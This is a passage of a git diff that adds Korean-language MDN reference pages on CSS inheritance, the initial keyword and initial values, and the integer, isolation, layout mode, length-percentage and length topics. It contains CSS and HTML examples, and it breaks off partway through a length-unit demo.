+<p>요소의 <strong>상속되는 속성</strong>에 값이 지정되지 않은 경우, 요소는 부모 요소의 해당 속성의 <a href="/ko/docs/Web/CSS/computed_value" title="computed value">계산값</a>을 얻습니다. 오직 문서의 루트 요소만 속성의 요약절에 주어진 <a href="/ko/docs/Web/CSS/initial_value" title="initial value">초기값</a>을 얻습니다.</p>
+
+<p>상속되는 속성의 대표적인 예는 {{ Cssxref("color") }} 속성입니다. 주어진 스타일 규칙:</p>
+
+<pre class="brush: css">p { color: green }</pre>
+
+<p>과 마크업:</p>
+
+<pre class="brush: html">&lt;p&gt;This paragraph has &lt;em&gt;emphasized text&lt;/em&gt; in it.&lt;/p&gt;</pre>
+
+<p><code>em</code> 요소는  <code>p</code> 요소로부터 {{ Cssxref("color") }} 속성값을 상속했기 때문에, "emphasized text"는 녹색으로 보입니다. 속성의 초기값(페이지가 어떤 색을 지정하지 않았을 때 루트 요소에 사용된 색)을 얻지 <em>않</em>습니다.</p>
+
+<h2 id="Non-inherited_properties" name="Non-inherited_properties">상속되지 않는 속성</h2>
+
+<p>요소의 <strong>상속되지 않는 속성</strong>(Mozilla 코드에서는 가끔 <strong>reset 속성</strong>으로 불림)에 어떤 값이 지정되지 않는 경우, 요소는 그 속성의 <a href="/ko/docs/Web/CSS/initial_value" title="initial value">초기값</a>을 얻습니다(속성의 요약절에 지정된 대로).</p>
+
+<p>상속되지 않는 속성의 대표적인 예는 {{ Cssxref("border") }} 속성입니다. 주어진 스타일 규칙:</p>
+
+<pre class="brush: css"> p { border: medium solid }</pre>
+
+<p>과 마크업:</p>
+
+<pre class="brush: html"> &lt;p&gt;This paragraph has &lt;em&gt;emphasized text&lt;/em&gt; in it.&lt;/p&gt;</pre>
+
+<p>"emphasized text"는 테두리가 없습니다({{ Cssxref("border-style") }}의 초기값이 <code>none</code>이기 때문에).</p>
+
+<h2 id="Notes" name="Notes">참고</h2>
+
+<p>{{ Cssxref("inherit") }} 키워드는 작성자가 명시적으로 상속을 지정할 수 있게 합니다. 상속되는 속성과 상속되지 않는 속성 모두에 작동합니다.</p>
+
+<h2 id="See_Also" name="See_Also">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Reference" title="CSS Reference">CSS 참고서</a></li>
+ <li>{{ CSS_key_concepts() }}</li>
+ <li>{{ Cssxref("inherit") }}</li>
+</ul>
diff --git a/files/ko/web/css/initial/index.html b/files/ko/web/css/initial/index.html
new file mode 100644
index 0000000000..3205718d3d
--- /dev/null
+++ b/files/ko/web/css/initial/index.html
@@ -0,0 +1,78 @@
+---
+title: initial
+slug: Web/CSS/initial
+tags:
+ - CSS
+ - CSS Cascade
+ - CSS Value
+ - Layout
+ - Reference
+ - Web
+ - 초기값
+ - 초기화
+ - 초깃값
+translation_of: Web/CSS/initial
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>initial</code></strong> 키워드는 속성의 <a href="/ko/docs/Web/CSS/initial_value">초깃값(기본값)</a>을 요소에 적용합니다.</span> 초깃값은 브라우저가 지정합니다. 모든 속성에서 사용할 수 있으며, {{cssxref("all")}}에 지정할 경우 모든 CSS 속성을 초깃값으로 재설정합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <a href="/ko/docs/Web/CSS/inheritance#Inherited_properties" title="inherited properties">상속 속성</a>의 초깃값은 예상치 못한 값일 수도 있습니다. 따라서, {{cssxref("inherit")}}, {{cssxref("unset")}}, {{cssxref("revert")}} 키워드의 사용을 대신 고려해보세요.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+ &lt;span&gt;This text is red.&lt;/span&gt;
+ &lt;em&gt;This text is in the initial color (typically black).&lt;/em&gt;
+ &lt;span&gt;This is red again.&lt;/span&gt;
+&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p {
+ color: red;
+}
+
+em {
+ color: initial;
+}</pre>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS4 Cascade', '#initial', 'initial') }}</td>
+ <td>{{Spec2('CSS4 Cascade')}}</td>
+ <td>Level 3에서 변화 없음.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Cascade', '#initial', 'initial') }}</td>
+ <td>{{Spec2('CSS3 Cascade')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility"><nobr>브라우저 호환성</nobr></h2>
+
+<div>{{Compat("css.types.global_keywords.initial")}}</div>
+
+<h2 id="See_also" name="See_also">참조</h2>
+
+<ul>
+ <li>{{cssxref("inherit")}}, {{cssxref("unset")}}, {{cssxref("revert")}}, {{cssxref("all")}}</li>
+</ul>
diff --git a/files/ko/web/css/initial_value/index.html b/files/ko/web/css/initial_value/index.html
new file mode 100644
index 0000000000..2a764918ed
--- /dev/null
+++ b/files/ko/web/css/initial_value/index.html
@@ -0,0 +1,51 @@
+---
+title: 초깃값
+slug: Web/CSS/initial_value
+tags:
+ - CSS
+ - Reference
+translation_of: Web/CSS/initial_value
+---
+<div>{{cssref}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> 속성의 <strong>초깃값</strong>은 속성의 기본값으로, 속성 정의 표가 명시하고 있습니다. 초깃값의 사용처는 상속 여부에 따라 다릅니다.</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/inheritance#Inherited_properties">상속 속성</a>의 경우, <a href="/ko/docs/Web/CSS/specified_value">지정값</a>이 없는 이상 초깃값은 <strong>루트 요소에만</strong> 쓰입니다.</li>
+ <li><a href="/ko/docs/Web/CSS/inheritance#Non-inherited_properties">비상속 속성</a>의 경우, <a href="/ko/docs/Web/CSS/specified_value">지정값</a>이 없는 이상 초깃값은 <strong>모든 요소</strong>에 쓰입니다.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> {{cssxref("initial")}} 키워드를 사용해 명시적으로 초깃값을 지정할 수 있습니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><a href="https://drafts.csswg.org/css-cascade-4/#initial-values">CSS Cascade 4</a></td>
+ <td></td>
+ <td>Formal definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.1", "cascade.html#specified-value", "initial value")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td>Implicit definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="See_Also" name="See_Also">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Reference" title="CSS Reference">CSS Reference</a></li>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/ko/web/css/integer/index.html b/files/ko/web/css/integer/index.html
new file mode 100644
index 0000000000..a6de2d4b1c
--- /dev/null
+++ b/files/ko/web/css/integer/index.html
@@ -0,0 +1,93 @@
+---
+title: <integer>
+slug: Web/CSS/integer
+tags:
+ - CSS
+ - CSS Data Type
+ - Reference
+ - Web
+translation_of: Web/CSS/integer
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>&lt;integer&gt;</code></strong> <a href="/ko/docs/Web/API/CSS">CSS</a> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 {{cssxref("&lt;number&gt;")}}의 종류 중 하나로 소수점이 없는 완전한 수, 즉 정수를 표현합니다. 정수는 {{cssxref("column-count")}}, {{cssxref("counter-increment")}}, {{cssxref("grid-column")}}, {{cssxref("grid-row")}}, {{cssxref("z-index")}} 등 다양한 속성에서 사용할 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;integer&gt;</code> 자료형은 하나 이상의 0부터 9까지의 10진수 숫자로 구성하며, 선택적으로 <code>+</code>, <code>-</code>로 부호를 표시할 수 있습니다. 따로 연관지어야 하는 단위는 없습니다.</p>
+
+<div class="note"><strong>참고:</strong> 공식적으로 정해진 <code>&lt;integer&gt;</code> 값의 범위는 없습니다. Opera 12.1은 최대 2<sup>15</sup>-1, IE는 2<sup>20</sup>-1, 그 외 브라우저는 더 큰 값도 지원합니다. CSS3 Values 논의 중 최소한의 범위를 설정하자는 말이 많아서 가장 최근인 <a href="http://lists.w3.org/Archives/Public/www-style/2012Apr/0633.html">2012년 4월 LC 단계</a>에서는 [-2<sup>27</sup>-1; 2<sup>27</sup>-1]으로 결정했습니다. 2<sup>24</sup>-1과 2<sup>30</sup>-1처럼 다른 값도 <a href="http://lists.w3.org/Archives/Public/www-style/2012Apr/0530.html">제안</a>됐습니다. 하지만 최신 명세는 범위를 지정하고 있지 않습니다.</div>
+
+<h2 id="보간">보간</h2>
+
+<p>애니메이션에서 <code>&lt;integer&gt;</code> 자료형의 값은 이산적으로 1씩 변화합니다. 계산은 유동소수점 실수를 사용하며 최종 결과인 이산값은 <a href="https://ko.wikipedia.org/wiki/%EB%B0%94%EB%8B%A5_%ED%95%A8%EC%88%98%EC%99%80_%EC%B2%9C%EC%9E%A5_%ED%95%A8%EC%88%98" title="http://en.wikipedia.org/wiki/Floor_function">버림 함수</a>를 사용해 얻습니다. 보간의 속도는 애니메이션과 연결된 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/single-transition-timing-function" rel="nofollow">타이밍 함수</a>가 결정합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="유효한_정수">유효한 정수</h3>
+
+<pre>12 양의 정수 (부호 표시 없음)
++123 양의 정수 (+ 부호)
+-456 음의 정수
+0 0
++0 0, 양의 부호
+-0 0, 음의 부호
+</pre>
+
+<h3 id="유효하지_않은_정수">유효하지 않은 정수</h3>
+
+<pre class="example-bad">12.0 정수를 표현하지만 &lt;interger&gt;가 아닌 &lt;number&gt;
+12. 소수점은 불허
++---12 하나의 +/-만 허용
+ten 글자는 불허
+_5 특수문자는 불허
+\35 유니코드 이스케이프 문자는 정수를 표현하더라도 불허 (\35: 5)
+\4E94 아라비아 숫자 외의 다른 표현은 이스케이프 후에도 불허 (\4E94: 일본어 五).
+3e4 과학적 표기법 불허
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Values', '#integers', '&lt;integer&gt;')}}</td>
+ <td>{{Spec2('CSS4 Values')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Values', '#integers', '&lt;integer&gt;')}}</td>
+ <td>{{Spec2('CSS3 Values')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'syndata.html#numbers', '&lt;integer&gt;')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Explicit definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '', '&lt;integer&gt;')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Implicit definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.integer")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("&lt;number&gt;")}}</li>
+</ul>
diff --git a/files/ko/web/css/isolation/index.html b/files/ko/web/css/isolation/index.html
new file mode 100644
index 0000000000..ffeb6140f9
--- /dev/null
+++ b/files/ko/web/css/isolation/index.html
@@ -0,0 +1,114 @@
+---
+title: isolation
+slug: Web/CSS/isolation
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/isolation
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>isolation</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소가 새로운 {{glossary("stacking context", "쌓임 맥락")}}을 생성해야 하는지 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/isolation.html")}}</div>
+
+
+
+<p>{{cssxref("mix-blend-mode")}}와 함께 사용했을 때 특히 유용합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 값 */
+isolation: auto;
+isolation: isolate;
+
+/* 전역 값 */
+isolation: inherit;
+isolation: initial;
+isolation: unset;
+</pre>
+
+<p><code>isolation</code> 속성은 다음 키워드 값 중 하나를 사용해 지정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>요소에 적용한 속성 중 새로운 쌓임 맥락을 요구하는 속성이 있을 때만 쌓임 맥락을 생성합니다.</dd>
+ <dt><code>isolate</code></dt>
+ <dd>항상 새로운 쌓임 맥락을 생성합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;div id="b" class="a"&gt;
+ &lt;div id="d"&gt;
+ &lt;div class="a c"&gt;auto&lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div id="e"&gt;
+ &lt;div class="a c"&gt;isolate&lt;/div&gt;
+ &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.a {
+ background-color: rgb(0,255,0);
+}
+#b {
+ width: 200px;
+ height: 210px;
+}
+.c {
+ width: 100px;
+ height: 100px;
+ border: 1px solid black;
+ padding: 2px;
+ mix-blend-mode: difference;
+}
+#d {
+ isolation: auto;
+}
+#e {
+ isolation: isolate;
+}</pre>
+
+<p>{{ EmbedLiveSample('예제', 230, 230) }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('Compositing', '#isolation', 'Isolation') }}</td>
+ <td>{{ Spec2('Compositing') }}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.isolation")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("&lt;blend-mode&gt;")}}</li>
+ <li>{{cssxref("mix-blend-mode")}}, {{cssxref("background-blend-mode")}}</li>
+</ul>
diff --git a/files/ko/web/css/layout_mode/index.html b/files/ko/web/css/layout_mode/index.html
new file mode 100644
index 0000000000..607a699b21
--- /dev/null
+++ b/files/ko/web/css/layout_mode/index.html
@@ -0,0 +1,32 @@
+---
+title: 레이아웃 모드
+slug: Web/CSS/Layout_mode
+tags:
+ - CSS
+ - Guide
+ - Layout
+ - Reference
+translation_of: Web/CSS/Layout_mode
+---
+<div>{{cssref}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong>레이아웃 모드</strong>, 줄여서 <strong>레이아웃</strong>은 형제(sibling) 및 조상(ancestor) 박스와 상호 작용하는 방식을 기반으로 박스의 위치와 크기를 결정하는 알고리즘입니다. 그 중 몇 가지입니다:</p>
+
+<ul>
+ <li>블록 레이아웃(<em>block layout</em>), 문서 배치를 위해 설계됨. 블록 레이아웃은 요소(element)를 <a href="/ko/docs/Web/CSS/float"><em>float</em></a> 하거나 여러 단(<a href="/ko/docs/Web/CSS/CSS_Columns/Using_multi-column_layouts"><em>multiple columns</em></a>)에 걸쳐 배치하는 기술 같은 문서 중심 기능을 포함합니다.</li>
+ <li>인라인 레이아웃(<em>inline layout</em>), 텍스트 배치를 위해 설계됨.</li>
+ <li>테이블 레이아웃(<em>table layout</em>), 표 배치를 위해 설계됨.</li>
+ <li>위치지정 레이아웃(<em>positioned layout</em>), 다른 요소와 상호 작용이 많이 없는 요소의 위치지정을 위해 설계됨.</li>
+ <li>신축 박스 레이아웃(<a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes"><em>flexible box layout</em></a>), 부드럽게 크기조정이 될 수 있는 복잡한 페이지 배치를 위해 설계됨. {{experimental_inline}}</li>
+ <li>그리드 레이아웃(<em>grid layout</em>), 고정된 격자(grid)에 상대적인 요소 배치를 위해 설계됨. {{experimental_inline}}</li>
+</ul>
+
+<div class="note">
+<p><strong>참고:</strong> CSS 속성(<a href="/ko/docs/Web/CSS/CSS_Reference">CSS properties</a>) 모두가 모든 <em>레이아웃 모드</em>에 적용되지는 않습니다. 속성 대부분은 한 두 모드에 적용되고 속성이 다른 레이아웃 모드에 참여하는 요소에 설정되면 효과가 없습니다.</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/ko/web/css/length-percentage/index.html b/files/ko/web/css/length-percentage/index.html
new file mode 100644
index 0000000000..7ab06ee4ff
--- /dev/null
+++ b/files/ko/web/css/length-percentage/index.html
@@ -0,0 +1,55 @@
+---
+title: <length-percentage>
+slug: Web/CSS/length-percentage
+tags:
+ - CSS
+ - CSS Date Type
+ - Reference
+translation_of: Web/CSS/length-percentage
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>&lt;length-percentage&gt;</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 {{Cssxref("&lt;length&gt;")}} 또는 {{Cssxref("&lt;percentage&gt;")}}인 값을 나타냅니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p>{{Cssxref("&lt;length&gt;")}}와 {{Cssxref("&lt;percentage&gt;")}} 문서에서 각 자료형의 구문을 살펴보세요.</p>
+
+<h2 id="calc()에서_사용하기"><code>calc()</code>에서 사용하기</h2>
+
+<p><code>&lt;length-percentage&gt;</code>를 허용한다면 백분율이 길이로 이행한다는 뜻이므로 {{cssxref("calc", "calc()")}}와 함께 사용할 수 있습니다. 따라서 아래의 {{cssxref("width")}} 값 모두 유효합니다.</p>
+
+<pre class="syntaxbox example-good">width: 200px
+width: 20%
+width: calc(100% - 200px)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Values', '#mixed-percentages', '&lt;length-percentage&gt;')}}</td>
+ <td>{{Spec2('CSS4 Values')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Values', '#mixed-percentages', '&lt;length-percentage&gt;')}}</td>
+ <td>{{Spec2('CSS3 Values')}}</td>
+ <td>Defines <code>&lt;length-percentage&gt;</code>. Adds <code>calc()</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.length-percentage")}}</p>
diff --git a/files/ko/web/css/length/index.html b/files/ko/web/css/length/index.html
new file mode 100644
index 0000000000..e2e5b3925b
--- /dev/null
+++ b/files/ko/web/css/length/index.html
@@ -0,0 +1,252 @@
+---
+title: <length>
+slug: Web/CSS/length
+tags:
+ - CSS
+ - CSS Data Type
+ - Layout
+ - Reference
+ - Web
+ - length
+translation_of: Web/CSS/length
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS </a><strong><code>&lt;length&gt;</code></strong> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 거리 값을 나타냅니다. {{Cssxref("width")}}, {{Cssxref("height")}}, {{Cssxref("margin")}}, {{Cssxref("padding")}}, {{Cssxref("border-width")}}, {{Cssxref("font-size")}}, {{Cssxref("text-shadow")}} 등 다양한 속성에 사용할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> {{cssxref("&lt;percentage&gt;")}} 값을 일부 속성의 <code>&lt;length&gt;</code> 값으로 사용할 수는 있지만 <code>&lt;percentage&gt;</code>와 <code>&lt;length&gt;</code> 는 다릅니다. {{cssxref("&lt;length-percentage&gt;")}}를 참고하세요.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;length&gt;</code> 자료형은 {{cssxref("&lt;number&gt;")}} 다음에 아래 나열한 단위 중 하나를 붙여 구성합니다. 다른 CSS 단위와 마찬가지로 숫자와 단위 문자 사이에 공백은 존재하지 않습니다. 숫자 <code>0</code> 뒤에는 단위를 붙이지 않아도 됩니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 일부 속성은 음의 <code>&lt;length&gt;</code>를 받지만 다른 속성은 그렇지 않습니다.</p>
+</div>
+
+<h3 id="단위">단위</h3>
+
+<h4 id="상대길이_단위">상대길이 단위</h4>
+
+<p>상대길이는 어떤 다른 거리와의 상대적 비율을 표현합니다. 어떤 다른 거리란 단위에 따라 특정 문자, {{cssxref("line-height")}}, 아니면 {{glossary("viewport", "뷰포트")}}일 수 있습니다.</p>
+
+<h5 id="글꼴_상대_길이">글꼴 상대 길이</h5>
+
+<p>글꼴 상대 길이는 <code>&lt;length&gt;</code> 값을 특정 문자나 현재 요소가 사용하는 글꼴의 특정 속성을 기준으로 설정합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 아래 단위들, 특히 <code>em</code>과 <code>rem</code>은 사용자가 글꼴 크기를 늘려도 <a href="https://24ways.org/2006/compose-to-a-vertical-rhythm">페이지의 수직 흐름을 유지</a>하는, 확대 가능한 레이아웃을 만들기 위해 많이 쓰입니다.</p>
+</div>
+
+<dl>
+ <dt><code><a id="cap" name="cap">cap</a></code> {{experimental_inline}}</dt>
+ <dd>요소 {{cssxref("font")}}의 "cap height"(영문 대문자의 평균 높이 값)를 나타냅니다.</dd>
+ <dt><code><a id="ch" name="ch">ch</a></code></dt>
+ <dd>요소 {{cssxref("font")}}의 문자 "0"(영, 유니코드 U+0030)의 너비를 나타냅니다.</dd>
+ <dd>문자 "0"의 너비를 측정하는 것이 불가능하거나 실용적이지 않은 경우 너비 0.5em에 높이 1em이라고 가정해야 합니다.</dd>
+ <dt><code><a id="em" name="em">em</a></code></dt>
+ <dd>요소 {{cssxref("font-size")}}의 계산값. 요소의 {{cssxref("font-size")}} 속성에 사용한다면 상속받는 <code>font-size</code> 값을 나타냅니다.</dd>
+ <dt><code><a id="ex" name="ex">ex</a></code></dt>
+ <dd>요소 {{cssxref("font")}}의 {{interwiki("wikipedia", "x높이")}}를 나타냅니다. "x"문자를 가진 글꼴에서는 보통 소문자 높이와 같습니다. 많은 글꼴에서 <code>1ex ≈ 0.5em</code>입니다.</dd>
+ <dt><code><a id="ic" name="ic">ic</a></code> {{experimental_inline}}</dt>
+ <dd>"水" (한중일 한자 "물", U+6C34) 문자를 렌더링할 때 사용하는 글꼴에서의 너비를 나타냅니다.</dd>
+ <dt><code><a id="lh" name="lh">lh</a></code> {{experimental_inline}}</dt>
+ <dd>요소가 {{cssxref("line-height")}}를 가지고 있는 경우, <code>line-height</code>의 계산값을 절대 길이로 변환해 나타냅니다.</dd>
+ <dt><code><a id="rem" name="rem">rem</a></code></dt>
+ <dd>루트 요소(보통 {{HTMLElement("html")}})의 {{cssxref("font-size")}}를 나타냅니다. 루트 요소의 <code>font-size</code>에 사용할 경우 최초값(보통 브라우저 기본값은 <code>16px</code>이나 사용자 설정으로 변할 수 있음)을 나타냅니다.</dd>
+ <dt><code><a id="rlh" name="rlh">rlh</a></code> {{experimental_inline}}</dt>
+ <dd>루트 요소(보통 {{HTMLElement("html")}})의 {{cssxref("line-height")}}를 절대 길이로 변환해 나타냅니다. 루트 요소의 {{cssxref("font-size")}}나 <code>line-height</code>에 사용할 경우 최초값을 나타냅니다.</dd>
+</dl>
+
+<h5 id="뷰포트_백분율_길이">뷰포트 백분율 길이</h5>
+
+<p>뷰포트 백분율 길이는 <code>&lt;length&gt;</code> 값을 {{glossary("viewport", "뷰포트")}}, 즉 문서에서 볼 수 있는 부분의 크기를 기준으로 설정합니다. 뷰포트 길이는 {{cssxref("@page")}} 선언 블록에서는 유효하지 않습니다.</p>
+
+<dl>
+ <dt><code><a id="vh" name="vh">vh</a></code></dt>
+ <dd>뷰포트의 초기 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 높이 1%와 같습니다.</dd>
+ <dt><code><a id="vw" name="vw">vw</a></code></dt>
+ <dd>뷰포트의 초기 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 너비 1%와 같습니다.</dd>
+ <dt><code><a id="vi" name="vi">vi</a></code> {{experimental_inline}}</dt>
+ <dd>초기 컨테이닝 블록의 <a href="/ko/docs/Web/CSS/CSS_Logical_Properties#인라인_치수">인라인 축</a> 크기 1%와 같습니다.</dd>
+ <dt><code><a id="vb" name="vb">vb</a></code> {{experimental_inline}}</dt>
+ <dd>초기 컨테이닝 블록의 <a href="/ko/docs/Web/CSS/CSS_Logical_Properties#블록_치수">블록 축</a> 크기 1%와 같습니다.</dd>
+ <dt><code><a id="vmin" name="vmin">vmin</a></code></dt>
+ <dd><code>vw</code>와 <code>vh</code> 중 작은 것과 같습니다.</dd>
+ <dt><code><a id="vmax" name="vmax">vmax</a></code></dt>
+ <dd><code>vw</code>와 <code>vh</code> 중 큰 것과 같습니다.</dd>
+</dl>
+
+<h4 id="절대길이_단위">절대길이 단위</h4>
+
+<p>절대길이 단위는 프린트 등 출력 수단의 크기를 알 수 있을 때의 물리적 측정 거리를 나타냅니다. 구현은 어떤 단위를 물리적인 실제 거리에 맞춰 기준으로 삼고, 나머지 단위를 상대적으로 계산해 설정합니다. 기준 단위는 화면 등 저해상도 장치와 프린터 등 고해상도 장치에서 다릅니다.</p>
+
+<p>저해상도 장치에서 <code>px</code> 단위는 물리적인 픽셀을 의미하며 나머지는 이에 상대적입니다. 따라서 <code>1in</code>은 <code>96px</code>로 정의하며 이는 <code>72pt</code>와 동일합니다. 그러나 인치(<code>in</code>), 센티미터(<code>cm</code>), 밀리미터(<code>mm</code>) 등 이렇게 정의하는 단위가 같은 이름을 가진 물리적인 측정 단위와 일치하지 않을 수 있다는 문제점이 있습니다.</p>
+
+<p>고해상도 장치에서 인치(<code>in</code>), 센티미터(<code>cm</code>), 밀리미터(<code>mm</code>)가 기준이 되어 물리적 거리와 동일합니다. 그래서 px 단위도 이에 맞춰 1인치의 1/96로 정의합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 많은 사용자가 {{glossary("user agent", "사용자 에이전트")}}의 기본 글꼴 크기를 늘려 읽기 쉽도록 설정합니다. 절대길이는 사용자 설정을 따르지 않기 때문에 접근성 문제를 유발할 수 있습니다. 따라서 <code>font-size</code>를 설정할 땐 <code>em</code>, <code>rem</code> 등 상대길이를 선택하세요.</p>
+</div>
+
+<dl>
+ <dt><code><a id="px" name="px">px</a></code></dt>
+ <dd>1 픽셀. 화면에서는 전통적으로 하나의 장치 픽셀(점)을 의미했지만, 프린터나 고해상도 화면에서는 1/96 <code>in</code>을 맞출 수 있도록 여러 개의 장치 픽셀을 의미합니다.</dd>
+ <dt><code><a id="cm" name="cm">cm</a></code></dt>
+ <dd>1 센티미터, <code>1cm</code> = <code>96px/2.54</code>.</dd>
+ <dt><code><a id="mm" name="mm">mm</a></code></dt>
+ <dd>1 밀리미터, <code>1mm</code> = 1/10 <code>cm</code>.</dd>
+ <dt><code><a id="q" name="q">Q</a></code> {{experimental_inline}}</dt>
+ <dd>1/4 밀리미터, <code>1Q</code> = 1/40 <code>cm</code>.</dd>
+ <dt><code><a id="in" name="in">in</a></code></dt>
+ <dd>1 인치, <code>1in</code> = <code>2.54cm</code> = <code>96px</code>.</dd>
+ <dt><code><a id="pc" name="pc">pc</a></code></dt>
+ <dd>1 피카, <code>1pc</code> = <code>12pt</code> = 1/6<code>1in</code>.</dd>
+ <dt><code><a id="pt" name="pt">pt</a></code></dt>
+ <dd>One point. <code>1pt</code> = 1/72nd of <code>1in</code>.</dd>
+</dl>
+
+<h2 id="보간">보간</h2>
+
+<p>애니메이션에서 <code>&lt;length&gt;</code> 자료형의 값은 부동소수점 실수로 간주하며 보간은 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>을 사용합니다. 보간 속도는 애니메이션에 연결된 <a href="/ko/docs/Web/CSS/single-transition-timing-function">타이밍 함수</a>가 결정합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="길이_단위_비교">길이 단위 비교</h3>
+
+<p>아래 데모에서는 주어진 하나의 입력 칸에 <code>300px</code>, <code>50%</code>, <code>30vw</code> 등 <code>&lt;length&gt;</code> 값을 입력한 후 <kbd>Return</kbd>을 누르면 그 길이만큼의 막대를 생성합니다.</p>
+
+<p>서로 다른 길이 단위를 입력하고 비교해보세요.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="outer"&gt;
+ &lt;div class="input-container"&gt;
+ &lt;label&gt;길이:&lt;/label&gt;
+ &lt;input type="text" id="length"&gt;
+ &lt;/div&gt;
+ &lt;div class="inner"&gt;
+
+ &lt;/div&gt;
+&lt;/div&gt;
+&lt;div class="results"&gt;
